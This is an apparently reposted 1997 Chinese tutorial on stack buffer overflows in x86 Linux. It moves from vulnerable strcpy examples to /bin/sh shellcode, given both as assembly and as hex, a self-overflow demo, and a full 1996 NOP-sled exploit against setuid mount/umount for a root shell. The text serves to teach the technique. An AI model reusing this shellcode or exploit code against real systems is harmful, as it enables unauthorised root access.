缓冲区溢出(buffer overflow)机理分析
http://blog.sina.com.cn/s/blog_4c72721c010008vt.html
? ? ? ? ? ? ##########################################
? ? ? ? ? ? ? ? 緩沖區溢出(buffer overflow)機理分析
? ? ? ? ? ? ##########################################
? ? ? ? ? ? ? ? ? ? ? ? ? ? Only 1997.7.19
? ? ? ? ? ? ? ? ? ? ? Only.bbs@bbs.sjtu.edu.cn
1.什么是緩沖區溢出?
~~~~~~~~~~~~~~~~~~~
? ? buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一種系統攻擊的手
段,通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程
序的堆棧,使程序轉而執行其它指令,以達到攻擊的目的。據統計,通過緩沖區
溢出進行的攻擊占所有系統攻擊總數的80%以上。
? ? 造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程
序:
example1.c
----------------------------------------------------------------------
void function(char *str) {
? ?char buffer[16];
? ?strcpy(buffer,str);
}
----------------------------------------------------------------------
? ? 上面的strcpy()將直接吧str中的內容copy到buffer中。這樣只要str的長度
大于16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的
標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環內的
getc(),fgetc(),getchar()等。
? ? 當然,隨便往緩沖區中填東西造成它溢出一般只會出現Segmentation fault
錯誤,而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行
一個用戶shell,再通過shell執行其它命令。如果該程序屬于root且有suid權限
的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。
? ? 請注意,如果沒有特別說明,下面的內容都假設用戶使用的平臺為基于Intel
x86 CPU的Linux系統。對其它平臺來說,本文的概念同樣適用,但程序要做相應
修改。
2.制造緩沖區溢出
~~~~~~~~~~~~~~~~
? ? 一個程序在內存中通常分為程序段,數據端和堆棧三部分。程序段里放著程
序的機器碼和只讀數據。數據段放的是程序中的靜態數據。動態數據則通過堆棧
來存放。在內存中,它們的位置是:
? ? ? ? ? ? ? ? ? ? ? ? ? +------------------+ ?內存低端
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? 程序段 ? ? |
? ? ? ? ? ? ? ? ? ? ? ? ? |------------------|
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? 數據段 ? ? |
? ? ? ? ? ? ? ? ? ? ? ? ? |------------------|
? ? ? ? ? ? ? ? ? ? ? ? ? | ? ? ? ?堆棧 ? ? ?|
? ? ? ? ? ? ? ? ? ? ? ? ? +------------------+ ?內存高端
? ? 當程序中發生函數調用時,計算機做如下操作:首先把參數壓入堆棧;然后
保存指令寄存器(IP)中的內容做為返回地址(RET);第三個放入堆棧的是基址寄
存器(FP);然后把當前的棧指針(SP)拷貝到FP,做為新的基地址;最后為本地變
量留出一定空間,把SP減去適當的數值。以下面程序為例:
example2.c
----------------------------------------------------------------------
void function(char *str) {
? ?char buffer[16];
? ?strcpy(buffer,str);
}
void main() {
? char large_string[256];
? int i;
? for( i = 0; i < 255; i++)
? ? large_string[i] = 'A';
? function(large_string);
}
----------------------------------------------------------------------
? ? 當調用函數function()時,堆棧如下:
低內存端 ? ? ? buffer ? ? ? sfp ? ret ?*str ? ? ? ? 高內存端
<------ ?[ ? ? ? ? ? ? ? ][ ? ?][ ? ?][ ? ?]
棧頂 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?棧底
? ? 不用說,程序執行的結果是"Segmentation fault (core dumped)"或類似的
出錯信息。因為從buffer開始的256個字節都將被*str的內容'A'覆蓋,包括sfp,
ret,甚至*str。'A'的十六進值為0x41,所以函數的返回地址變成了0x41414141,
這超出了程序的地址空間,所以出現段錯誤。
3.通過緩沖區溢出獲得用戶SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
? ? 如果在溢出的緩沖區中寫入我們想執行的代碼,再覆蓋返回地址(ret)的內
容,使它指向緩沖區的開頭,就可以達到運行其它指令的目的。
低內存端 ? ? ? buffer ? ? ? sfp ? ret ?*str ? ? ? ? 高內存端
<------ ?[ ? ? ? ? ? ? ? ][ ? ?][ ? ?][ ? ?]
棧頂 ? ? ?^ ? ? ? ? ? ? ? ? ? ? ? ?| ? ? ? ? ? ? ? ? ? ?棧底
? ? ? ? ? |________________________|
通常,我們想運行的是一個用戶shell。下面是一段寫得很漂亮的shell代碼
example3.c
----------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string "/bin/sh" # 8 bytes
# 46 bytes total
");
}
----------------------------------------------------------------------
將上面的程序用機器碼表示即可得到下面的十六進制shell代碼字符串。
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
這個程序所做的是,在large_string中填入buffer的地址,并把shell代碼
放到large_string的前面部分。然后將large_string拷貝到buffer中,造成它溢
出,使返回地址變為buffer,而buffer的內容為shell代碼。這樣當程序試從
strcpy()中返回時,就會轉而執行shell。
4.利用緩沖區溢出進行的系統攻擊
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果已知某個程序有緩沖區溢出的缺陷,如何知道緩沖區的地址,在那兒放
入shell代碼呢?由于每個程序的堆棧起始地址是固定的,所以理論上可以通過
反復重試緩沖區相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進
行數百上千次,實際上是不現實的。解決的辦法是利用空指令NOP。在shell代碼
前面放一長串的NOP,返回地址可以指向這一串NOP中任一位置,執行完NOP指令
后程序將激活shell進程。這樣就大大增加了猜中的可能性。
低內存端 buffer sfp ret *str 高內存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
棧頂 ^ | 棧底
|_______________________________|
圖中,N代表NOP,S代表shell。下面是一個緩沖區溢出攻擊的實例,它利用
了系統程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函數的作用就是定位堆棧位置。程序首先分配一塊暫存區
buff,然后在buff的前面部分填滿NOP,后面部分放shell代碼。最后部分是希望
程序返回的地址,由棧地址加偏移得到。當以buff為參數調用mount時,將造成
mount程序的堆棧溢出,其緩沖區被buff覆蓋,而返回地址將指向NOP指令。
由于mount程序的屬主是root且有suid位,普通用戶運行上面程序的結果將
獲得一個具有root權限的shell。
總結
以上是生活随笔為你收集整理的缓冲区溢出(buffer overflow)机理分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Hi3531与Hi3520 GPIO口的
- 下一篇: 浅析gcc内嵌汇编